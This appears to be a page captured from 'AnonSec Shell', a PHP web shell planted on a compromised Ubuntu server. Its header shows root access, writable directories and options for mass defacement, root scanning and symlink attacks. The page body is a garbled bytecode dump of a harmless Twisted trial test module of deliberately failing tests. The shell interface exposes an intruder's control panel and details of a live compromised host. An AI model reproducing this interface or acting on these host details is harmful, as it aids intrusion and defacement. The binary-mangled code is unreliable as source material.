AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/erroneous.cpython-310.pyc
o

�b��@s�dZddlmZddlmZmZmZddlmZmZGdd�de	�Z
Gdd�d�ZGd	d
�d
eej�Z
Gdd�deej�ZGd
d�d�ZGdd�deej�ZGdd�deej�ZGdd�d�ZGdd�deej�ZGdd�deej�ZGdd�dej�ZGdd�dej�ZGdd�dej�Zedd �Gd!d"�d"ej��ZGd#d$�d$ej�ZGd%d&�d&ej�ZGd'd(�d(ej�ZGd)d*�d*ej�Zd+d,�Zd-S).a
Definitions of test cases with various interesting error-related behaviors, to
be used by test modules to exercise different features of trial's test runner.

See the L{twisted.trial.test.test_tests} module docstring for details about how
this code is arranged.
�)�skipIf)�defer�protocol�reactor)�unittest�utilc@�eZdZdS)�FoolishErrorN��__name__�
__module__�__qualname__�rr�>/usr/lib/python3/dist-packages/twisted/trial/test/erroneous.pyr	�r	c@�eZdZdd�Zdd�ZdS)�FailureInSetUpMixincC�td��)NzI am a broken setUp method�r	��selfrrr�setUp�zFailureInSetUpMixin.setUpcC�dS�Nrrrrr�	test_noop�zFailureInSetUpMixin.test_noopN)rrr
rrrrrrr�rc@r)�SynchronousTestFailureInSetUpNr
rrrrr rrc@r)�AsynchronousTestFailureInSetUpNr
rrrrr$rrc@r)�FailureInTearDownMixincCr)NzI am a broken tearDown methodrrrrr�tearDown)rzFailureInTearDownMixin.tearDowncCrrrrrrrr,rz FailureInTearDownMixin.test_noopN)rrr
r!rrrrrr (rr c@r)� SynchronousTestFailureInTearDownNr
rrrrr"0�r"c@r)�!AsynchronousTestFailureInTearDownNr
rrrrr$6rr$c@s$eZdZdZdZdd�Zdd�ZdS)�FailureButTearDownRunsMixinz7
    A test fails, but its L{tearDown} still runs.
    FcCs
d|_dS�NT)�tornDownrrrrr!A�
z$FailureButTearDownRunsMixin.tearDowncCr)z$
        A test that fails.
        zI am a broken testrrrrr�
test_failsD�z&FailureButTearDownRunsMixin.test_failsN)rrr
�__doc__r'r!r)rrrrr%:s
r%c@r)�%SynchronousTestFailureButTearDownRunsNr
rrrrr,Kr#r,c@r)�&AsynchronousTestFailureButTearDownRunsNr
rrrrr-Qr#r-c@�$eZdZdd�Zdd�Zdd�ZdS)�TestRegularFailcC�|�d�dS)N�I fail��failrrrr�	test_failX�zTestRegularFail.test_failcCs|��dSr)�
subroutinerrrr�test_subfail[�zTestRegularFail.test_subfailcCr0)Nz
I fail insider2rrrrr6^r5zTestRegularFail.subroutineN)rrr
r4r7r6rrrrr/Wsr/c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�TestAsynchronousFailz?
    Test failures for L{unittest.TestCase} based classes.
    cCs(t��}|�|j�t�d|jd�|S)zW
        A test which fails in the callback of the returned L{defer.Deferred}.
        rN)r�Deferred�addCallback�_laterr�	callLater�callback�r�drrrr4gszTestAsynchronousFail.test_failcCr0)NzI fail laterr2)r�resrrrr<pr5zTestAsynchronousFail._latercCr)zA
        A test which raises an exception synchronously.
        r1)�	Exceptionrrrr�test_exceptionsr*z#TestAsynchronousFail.test_exceptionN)rrr
r+r4r<rCrrrrr9bs
	r9c@seZdZdZdZdd�ZdS)�	ErrorTestz�
    A test case which has a L{test_foo} which will raise an error.

    @ivar ran: boolean indicating whether L{test_foo} has been run.
    FcCsd|_dddS)zJ
        Set C{self.ran} to True and raise a C{ZeroDivisionError}
        T�rN)�ranrrrr�test_foo�szErrorTest.test_fooN)rrr
r+rFrGrrrrrDzsrDTzskipping this testc@r)�TestSkipTestCaseNr
rrrrrH�srHc@s2eZdZdZdd�Zdd�Zejded�ge_dS)	�DelayedCallzsomething blew upcCs
t|j��r)�RuntimeError�hiddenExceptionMsgrrrr�go�r(zDelayedCall.gocCs&t�d|j�t�d�|�d�dS)a�
        What happens if an error is raised in a DelayedCall and an error is
        also raised in the test?

        L{test_reporter.ErrorReportingTests.testHiddenException} checks that
        both errors get reported.

        Note that this behaviour is deprecated. A B{real} test would return a
        Deferred that got triggered by the callLater. This would guarantee the
        delayed call error gets reported.
        rg{�G�z�?z/Deliberate failure to mask the hidden exceptionN)rr=rL�iterater3rrrr�testHiddenException�s
zDelayedCall.testHiddenExceptionz!reactor\.iterate cannot be used.*)�message�categoryN)	rrr
rKrLrNr�suppress�DeprecationWarningrrrrrI�s�
�rIc@�eZdZdd�ZdS)�ReactorCleanupTestscCsdd�}t�d|�dS)NcSstd�dS)Nzfoo!)�printrrrr�_�r8z8ReactorCleanupTests.test_leftoverPendingCalls.<locals>._g��@)rr=)rrVrrr�test_leftoverPendingCalls�sz-ReactorCleanupTests.test_leftoverPendingCallsN)rrr
rWrrrrrT��rTc@rS)�SocketOpenTestcCs t��}tj|_t�d|�dS)Nr)r�Factory�Protocolr�	listenTCP)r�frrr�test_socketsLeftOpen�sz#SocketOpenTest.test_socketsLeftOpenN)rrr
r^rrrrrY�rXrYc@r.)�TimingOutDeferredcCrrrrrrr�
test_alpha�rzTimingOutDeferred.test_alphacCsd|_t��}|Sr&)�methodCalledrr:r?rrr�test_deferredThatNeverFires�sz-TimingOutDeferred.test_deferredThatNeverFirescCrrrrrrr�
test_omega�rzTimingOutDeferred.test_omegaN)rrr
r`rbrcrrrrr_�sr_cCsdS)zci will raise an unexpected exception...
    ... *CAUSE THAT'S THE KINDA GUY I AM*

    >>> 1/0
    Nrrrrr�unexpectedException�srdN)r+rr�twisted.internetrrr�
twisted.trialrrBr	r�SynchronousTestCaser�TestCaserr r"r$r%r,r-r/r9rDrHrIrTrYr_rdrrrr�<module>s<	
�
�
�

Anon7 - 2022
AnonSec Team